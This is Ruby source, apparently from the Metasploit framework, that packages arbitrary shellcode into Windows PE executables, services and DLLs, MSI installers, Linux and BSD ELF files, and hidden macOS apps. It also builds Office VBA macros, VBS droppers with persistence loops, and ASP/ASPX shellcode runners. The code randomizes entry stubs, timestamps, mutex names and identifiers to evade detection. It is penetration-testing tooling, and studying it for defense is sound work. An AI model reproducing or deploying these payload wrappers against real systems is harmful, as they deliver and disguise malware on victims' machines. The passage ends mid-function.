module Msf
module Util
class EXE
require 'rex'
require 'rex/peparsey'
require 'rex/pescan'
require 'rex/random_identifier'
require 'rex/zip'
require 'rex/powershell'
require 'metasm'
require 'digest/sha1'
def self.set_template_default(opts, exe = nil, path = nil)
path ||= File.join(Msf::Config.data_directory, "templates")
unless exe
raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +
'without default exe name!'
end
opts[:template_path] ||= path
opts[:template] ||= exe
unless opts[:template].include?(File::SEPARATOR)
opts[:template] = File.join(opts[:template_path], opts[:template])
end
return if File.file?(opts[:template])
if opts[:fallback]
default_template = File.join(path, exe)
if File.file?(default_template)
opts.merge!({ :fellback => default_template })
opts[:template] = default_template
end
end
end
def self.read_replace_script_template(filename, hash_sub)
template_pathname = File.join(Msf::Config.data_directory, "templates",
"scripts", filename)
template = ''
File.open(template_pathname, "rb") {|f| template = f.read}
template % hash_sub
end
def self.to_zip(files)
zip = Rex::Zip::Archive.new
files.each do |f|
data = f[:data]
fname = f[:fname]
comment = f[:comment] || ''
zip.add_file(fname, data, comment)
end
zip.pack
end
def self.to_executable(framework, arch, plat, code = '', opts = {})
if elf? code or macho? code
return code
end
if arch.index(ARCH_X86)
if plat.index(Msf::Module::Platform::Windows)
return to_win32pe(framework, code, opts)
end
if plat.index(Msf::Module::Platform::Linux)
return to_linux_x86_elf(framework, code)
end
if plat.index(Msf::Module::Platform::OSX)
return to_osx_x86_macho(framework, code)
end
if plat.index(Msf::Module::Platform::BSD)
return to_bsd_x86_elf(framework, code)
end
if plat.index(Msf::Module::Platform::Solaris)
return to_solaris_x86_elf(framework, code)
end
end
if arch.index(ARCH_X64)
if (plat.index(Msf::Module::Platform::Windows))
return to_win64pe(framework, code, opts)
end
if plat.index(Msf::Module::Platform::Linux)
return to_linux_x64_elf(framework, code, opts)
end
if plat.index(Msf::Module::Platform::OSX)
return to_osx_x64_macho(framework, code)
end
if plat.index(Msf::Module::Platform::BSD)
return to_bsd_x64_elf(framework, code)
end
end
if arch.index(ARCH_ARMLE)
if plat.index(Msf::Module::Platform::OSX)
return to_osx_arm_macho(framework, code)
end
if plat.index(Msf::Module::Platform::Linux)
return to_linux_armle_elf(framework, code)
end
end
if arch.index(ARCH_AARCH64)
if plat.index(Msf::Module::Platform::Linux)
return to_linux_aarch64_elf(framework, code)
end
if plat.index(Msf::Module::Platform::OSX)
return to_osx_aarch64_macho(framework, code)
end
end
if arch.index(ARCH_PPC)
if plat.index(Msf::Module::Platform::OSX)
return to_osx_ppc_macho(framework, code)
end
end
if arch.index(ARCH_MIPSLE)
if plat.index(Msf::Module::Platform::Linux)
return to_linux_mipsle_elf(framework, code)
end
end
if arch.index(ARCH_MIPSBE)
if plat.index(Msf::Module::Platform::Linux)
return to_linux_mipsbe_elf(framework, code)
end
end
if arch.index(ARCH_RISCV32LE)
if plat.index(Msf::Module::Platform::Linux)
return to_linux_riscv32le_elf(framework, code)
end
end
if arch.index(ARCH_RISCV64LE)
if plat.index(Msf::Module::Platform::Linux)
return to_linux_riscv64le_elf(framework, code)
end
end
nil
end
def self.clear_dynamic_base(exe, pe)
c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse
c_bits[6] = 0
new_dllcharacteristics = c_bits.reverse.join.to_i(2)
dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94
exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")
exe
end
def self.to_win32pe(framework, code, opts = {})
if opts[:sub_method]
if opts[:inject]
raise RuntimeError, 'NOTE: using the substitution method means no inject support'
end
self.to_win32pe_exe_sub(framework, code, opts)
end
set_template_default(opts, "template_x86_windows.exe")
payload = win32_rwx_exec(code)
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
if opts[:inject]
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
:template => opts[:template],
:arch => :x86,
:secname => opts[:secname]
})
return injector.generate_pe
end
text = nil
pe.sections.each {|sec| text = sec if sec.name == ".text"}
raise RuntimeError, "No .text section found in the template" unless text
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
raise RuntimeError, "The .text section does not contain an entry point"
end
p_length = payload.length + 256
if text.size < p_length
appender = Msf::Exe::SegmentAppender.new({
:payload => code,
:template => opts[:template],
:arch => :x86,
:secname => opts[:secname]
})
return appender.generate_pe
end
off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
off_beg = pe.rva_to_file_offset(text.base_rva)
mines = []
pe.hdr.opt['DataDirectory'].each do |dir|
next if dir.v['Size'] == 0
next unless text.contains_rva?(dir.v['VirtualAddress'])
delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
mines << [delta, dir.v['Size']]
end
blocks = []
bidx = 0
mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
bbeg = bidx
bend = mine[0]
blocks << [bidx, bend-bidx] if bbeg != bend
bidx = mine[0] + mine[1]
end
blocks << [bidx, text.size - bidx] if bidx < text.size - 1
blocks.sort!{|a,b| b[1]<=>a[1]}
block = blocks.first
if payload.length + 256 >= block[1]
raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})"
end
data = text.read(0,text.size)
poff = rand(block[1] - payload.length - 256)
eloc = rand(2)
eidx = nil
entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)
if eloc == 0
poff += 256
eidx = rand(poff-(entry.length + 5))
else
poff -= [256, poff].min
eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length
end
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
1.upto(block[1] / 4) do
data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
end
data[block[0] + poff, payload.length] = payload
data[block[0] + eidx, entry.length] = entry
exe = ''
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
a = [text.base_rva + block.first + eidx].pack("V")
exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
exe[off_beg, data.length] = data
tds = pe.hdr.file.TimeDateStamp
exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")
cks = pe.hdr.opt.CheckSum
unless cks == 0
exe[exe.index([cks].pack('V')), 4] = [0].pack("V")
end
exe = clear_dynamic_base(exe, pe)
pe.close
exe
end
def self.to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)
set_template_default(opts, "template_#{arch}_windows.exe")
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
exe = ''
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
pe_header_size = 0x18
entryPoint_offset = 0x28
section_size = 0x28
characteristics_offset = 0x24
virtualAddress_offset = 0x0c
sizeOfRawData_offset = 0x10
sections_table_offset =
pe._dos_header.v['e_lfanew'] +
pe._file_header.v['SizeOfOptionalHeader'] +
pe_header_size
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
sections_header = []
pe._file_header.v['NumberOfSections'].times do |i|
section_offset = sections_table_offset + (i * section_size)
sections_header << [
sections_table_characteristics_offset + (i * section_size),
exe[section_offset,section_size]
]
end
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
sections_header.each do |sec|
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
if (importsTable - addressOfEntryPoint) < code.length
addressOfEntryPoint = importsTable - code.length + 4
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
end
characteristics |= 0x8000_0000
newcharacteristics = [characteristics].pack('V')
exe[sec[0],newcharacteristics.length] = newcharacteristics
end
end
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
exe[entryPoint_file_offset,code.length] = code
exe = clear_dynamic_base(exe, pe)
exe
end
def self.to_win32pe_old(framework, code, opts = {})
payload = code.dup
set_template_default(opts, "template_x86_windows_old.exe")
pe = ''
File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}
if payload.length <= 2048
payload << Rex::Text.rand_text(2048-payload.length)
else
raise RuntimeError, "The EXE generator now has a max size of 2048 " +
"bytes, please fix the calling module"
end
bo = pe.index('PAYLOAD:')
unless bo
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"
end
pe[bo, payload.length] = payload
pe[136, 4] = [rand(0x100000000)].pack('V')
ci = pe.index("\x31\xc9" * 160)
unless ci
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""
end
cd = pe.index("\x31\xc9" * 160, ci + 320)
unless cd
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""
end
rc = pe[ci+320, cd-ci-320]
enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
lft = 640+rc.length - enc.length
buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
pe[ci, buf.length] = buf
xi = pe.index([0xc0300040].pack('V'))
pe[xi,4] = [0xe0300020].pack('V')
pe << Rex::Text.rand_text(rand(64)+4)
pe
end
def self.string_to_pushes(string)
str = string.dup
rem = (str.length) % 4
if rem > 0
str << "\x00" * (4 - rem)
pushes = ''
else
pushes = "h\x00\x00\x00\x00"
end
while str.length > 0
four = 'h'+str.slice!(-4,4)
pushes << four
end
pushes
end
def self.exe_sub_method(code,opts ={})
pe = self.get_file_contents(opts[:template])
case opts[:exe_type]
when :service_exe
opts[:exe_max_sub_length] ||= 8192
name = opts[:servicename]
if name
bo = pe.index('SERVICENAME')
unless bo
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"
end
pe[bo, 11] = [name].pack('a11')
end
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
when :dll
opts[:exe_max_sub_length] ||= 4096
when :exe_sub
opts[:exe_max_sub_length] ||= 4096
end
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
if code.length <= opts.fetch(:exe_max_sub_length)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of " +
"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"
end
if opts[:exe_type] == :dll
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
%w{ Local\Semaphore:Default Local\Event:Default }.each do |name|
offset = pe.index(name)
pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset
end
if opts[:dll_exitprocess]
exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
et_index = pe.index(exit_thread)
if et_index
pe[et_index,exit_process.length] = exit_process
else
raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
end
end
end
pe
end
def self.to_win32pe_exe_sub(framework, code, opts = {})
set_template_default(opts, "template_x86_windows.exe")
opts[:exe_type] = :exe_sub
exe_sub_method(code,opts)
end
def self.to_win64pe(framework, code, opts = {})
set_template_default(opts, "template_x64_windows.exe")
if opts[:inject]
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
:template => opts[:template],
:arch => :x64,
:secname => opts[:secname]
})
return injector.generate_pe
end
appender = Msf::Exe::SegmentAppender.new({
:payload => code,
:template => opts[:template],
:arch => :x64,
:secname => opts[:secname]
})
return appender.generate_pe
end
def self.to_win32pe_service(framework, code, opts = {})
set_template_default(opts, "template_x86_windows_svc.exe")
if opts[:sub_method]
opts[:exe_type] = :service_exe
return exe_sub_method(code,opts)
else
ENV['MSF_SERVICENAME'] = opts[:servicename]
opts[:framework] = framework
opts[:payload] = 'stdin'
opts[:encoder] = '@x86/service,'+(opts[:serviceencoder] || '')
venom_generator = Msf::PayloadGenerator.new(opts)
code_service = venom_generator.multiple_encode_payload(code)
return to_winpe_only(framework, code_service, opts)
end
end
def self.to_win64pe_service(framework, code, opts = {})
set_template_default(opts, "template_x64_windows_svc.exe")
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
end
private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil)
return if opts[:template].present?
match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }
if match
opts[:exe_max_sub_length] = match.first
size_suffix = match.last
end
arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)
raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?
if flavor.present?
unless %w[mixed_mode dccw_gdiplus].include?(flavor)
raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'
end
flavor = '_' + flavor
end
set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")
end
def self.to_win32pe_dll(framework, code, opts = {})
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
opts[:exe_type] = :dll
if opts[:inject]
self.to_win32pe(framework, code, opts)
else
exe_sub_method(code,opts)
end
end
def self.to_win64pe_dll(framework, code, opts = {})
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor)
opts[:exe_type] = :dll
if opts[:inject]
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
else
exe_sub_method(code,opts)
end
end
def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
to_win32pe_dll(framework, code, opts)
end
def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')
to_win64pe_dll(framework, code, opts)
end
def self.to_exe_msi(framework, exe, opts = {})
if opts[:uac]
opts[:msi_template] ||= "template_windows.msi"
else
opts[:msi_template] ||= "template_nouac_windows.msi"
end
replace_msi_buffer(exe, opts)
end
def self.replace_msi_buffer(pe, opts)
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")
if opts[:msi_template].include?(File::SEPARATOR)
template = opts[:msi_template]
else
template = File.join(opts[:msi_template_path], opts[:msi_template])
end
msi = self.get_file_contents(template)
section_size = 2**(msi[30..31].unpack('v')[0])
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
buffer_chain = []
current_secid = 5
until current_secid == -2
buffer_chain << current_secid
current_secid = sector_allocation_table[current_secid]
end
buffer_size = buffer_chain.length * section_size
if pe.size > buffer_size
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
end
pe_block_start = 0
pe_block_end = pe_block_start + section_size - 1
buffer_chain.each do |section|
block_start = section_size * (section + 1)
block_end = block_start + section_size - 1
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
msi[block_start..block_end] = pe_block
pe_block_start = pe_block_end + 1
pe_block_end += section_size
end
msi
end
def self.to_osx_arm_macho(framework, code, opts = {})
set_template_default(opts, "template_armle_darwin.bin")
mo = self.get_file_contents(opts[:template])
bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag")
mo[bo, code.length] = code
mo
end
def self.to_osx_aarch64_macho(framework, code, opts = {})
set_template_default(opts, "template_aarch64_darwin.bin")
mo = self.get_file_contents(opts[:template])
bo = self.find_payload_tag(mo, "Invalid OSX Aarch64 Mach-O template: missing \"PAYLOAD:\" tag")
mo[bo, code.length] = code
Payload::MachO.new(mo).sign
mo
end
def self.to_osx_ppc_macho(framework, code, opts = {})
set_template_default(opts, "template_ppc_darwin.bin")
mo = self.get_file_contents(opts[:template])
bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag")
mo[bo, code.length] = code
mo
end
def self.to_osx_x86_macho(framework, code, opts = {})
set_template_default(opts, "template_x86_darwin.bin")
mo = self.get_file_contents(opts[:template])
bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag")
mo[bo, code.length] = code
mo
end
def self.to_osx_x64_macho(framework, code, opts = {})
set_template_default(opts, "template_x64_darwin.bin")
macho = self.get_file_contents(opts[:template])
bin = self.find_payload_tag(macho,
"Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag")
macho[bin, code.length] = code
macho
end
def self.to_osx_app(exe, opts = {})
exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
hidden = opts.fetch(:hidden, true)
plist_extra = opts.fetch(:plist_extra, '')
app_name.chomp!(".app")
app_name += ".app"
visible_plist = if hidden
%Q|
<key>LSBackgroundOnly</key>
<string>1</string>
|
else
''
end
info_plist = %Q|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>#{exe_name}</string>
<key>CFBundleIdentifier</key>
<string>com.#{exe_name}.app</string>
<key>CFBundleName</key>
<string>#{exe_name}</string>#{visible_plist}
<key>CFBundlePackageType</key>
<string>APPL</string>
#{plist_extra}
</dict>
</plist>
|
zip = Rex::Zip::Archive.new
zip.add_file("#{app_name}/", '')
zip.add_file("#{app_name}/Contents/", '')
zip.add_file("#{app_name}/Contents/Resources/", '')
zip.add_file("#{app_name}/Contents/MacOS/", '')
zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe).last.attrs = 0o777
zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
zip.pack
end
def self.to_exe_elf(framework, opts, template, code, big_endian=false)
if elf? code
return code
end
set_template_default(opts, template)
elf = self.get_file_contents(opts[:template])
elf << code
case elf[4,1].unpack("C").first
when 1
if big_endian
elf[0x44,4] = [elf.length].pack('N')
elf[0x48,4] = [elf.length + code.length].pack('N')
else
elf[0x44,4] = [elf.length].pack('V')
elf[0x48,4] = [elf.length + code.length].pack('V')
end
when 2
if big_endian
elf[0x60,8] = [elf.length].pack('Q>')
elf[0x68,8] = [elf.length + code.length].pack('Q>')
else
elf[0x60,8] = [elf.length].pack('Q<')
elf[0x68,8] = [elf.length + code.length].pack('Q<')
end
else
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
end
elf
end
def self.to_linux_x86_elf(framework, code, opts = {})
default = true unless opts[:template]
if default
elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
else
set_template_default(opts, 'template_x86_linux.bin')
e = Metasm::ELF.decode_file(opts[:template])
new_phdr = Metasm::EncodedData.new
e.segments.each { |s|
s.flags += [ "W" ] if s.flags.include? "X"
new_phdr << s.encode(e)
}
elf = self.get_file_contents(opts[:template], "rb")
elf[e.header.phoff, new_phdr.data.length] = new_phdr.data
entry_off = e.addr_to_off(e.label_addr('entrypoint'))
elf[entry_off, code.length] = code
end
elf
end
def self.to_bsd_x86_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
end
def self.to_bsd_x64_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x64_bsd.bin", code)
end
def self.to_solaris_x86_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
end
def self.to_linux_x64_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x64_linux.bin", code)
end
def self.to_linux_x86_elf_dll(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
end
def self.to_linux_aarch64_elf_dll(framework, code, opts = {})
to_exe_elf(framework, opts, "template_aarch64_linux_dll.bin", code)
end
def self.to_linux_x64_elf_dll(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
end
def self.to_linux_armle_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
end
def self.to_linux_armle_elf_dll(framework, code, opts = {})
to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)
end
def self.to_linux_aarch64_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)
end
def self.to_linux_ppc64_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_ppc64_linux.bin", code, true)
end
def self.to_linux_mipsle_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
end
def self.to_linux_mipsbe_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
end
def self.to_linux_riscv64le_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_riscv64le_linux.bin", code)
end
def self.to_linux_riscv64le_elf_dll(framework, code, opts = {})
to_exe_elf(framework, opts, "template_riscv64le_linux_dll.bin", code)
end
def self.to_linux_riscv32le_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_riscv32le_linux.bin", code)
end
def self.to_linux_riscv32le_elf_dll(framework, code, opts = {})
to_exe_elf(framework, opts, "template_riscv32le_linux_dll.bin", code)
end
def self.to_exe_vba(exes='')
exe = exes.unpack('C*')
hash_sub = {}
idx = 0
maxbytes = 2000
var_base_idx = 0
var_base = Rex::Text.rand_text_alpha(5).capitalize
hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s
hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s
hash_sub[:data] = ""
1.upto(exe.length) do |pc|
while c = exe[idx]
hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
if idx > 1 && (idx % maxbytes) == 0
hash_sub[:data] << "\r\n"
end
idx += 1
end
end
read_replace_script_template("to_exe.vba.template", hash_sub)
end
def self.to_vba(framework,code,opts = {})
hash_sub = {}
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
read_replace_script_template("to_mem.vba.template", hash_sub)
end
def self.to_powershell_vba(framework, arch, code)
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
arch,
template_path,
encode_final_payload: true,
remove_comspec: true,
method: 'reflection')
rig = Rex::RandomIdentifier::Generator.new()
rig.init_var(:sub_auto_open)
rig.init_var(:var_powershell)
hash_sub = rig.to_h
line_length = powershell.length / 24
vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'
hash_sub[:powershell] = vba_psh
read_replace_script_template("to_powershell.vba.template", hash_sub)
end
def self.to_exe_vbs(exes = '', opts = {})
delay = opts[:delay] || 5
persist = opts[:persist] || false
hash_sub = {}
hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.b64'
hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)
hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:init] = ""
if persist
hash_sub[:init] << "Do\r\n"
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
hash_sub[:init] << "Loop\r\n"
else
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
end
read_replace_script_template("to_exe.vbs.template", hash_sub)
end
def self.to_exe_asp(exes = '', opts = {})
hash_sub = {}
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4)
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
read_replace_script_template("to_exe.asp.template", hash_sub)
end
def self.to_exe_aspx(exes = '', opts = {})
hash_sub = {}
hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])
read_replace_script_template("to_exe.aspx.template", hash_sub)
end
def self.to_mem_aspx(framework, code, exeopts = {})
rig = Rex::RandomIdentifier::Generator.new()
rig.init_var(:var_funcAddr)
rig.init_var(:var_hThread)
rig.init_var(:var_pInfo)
rig.init_var(:var_threadId)
rig.init_var(:var_bytearray)
hash_sub = rig.to_h
hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
read_replace_script_template("to_mem.aspx.template", hash_sub)
end
def self.to_win32pe_psh_net(framework, code, opts={})
Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end
def self.to_win32pe_psh(framework, code, opts = {})
Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end
def self.to_win32pe_psh_reflection(framework, code, opts = {})
Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end
def self.to_powershell_command(framework, arch, code)
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
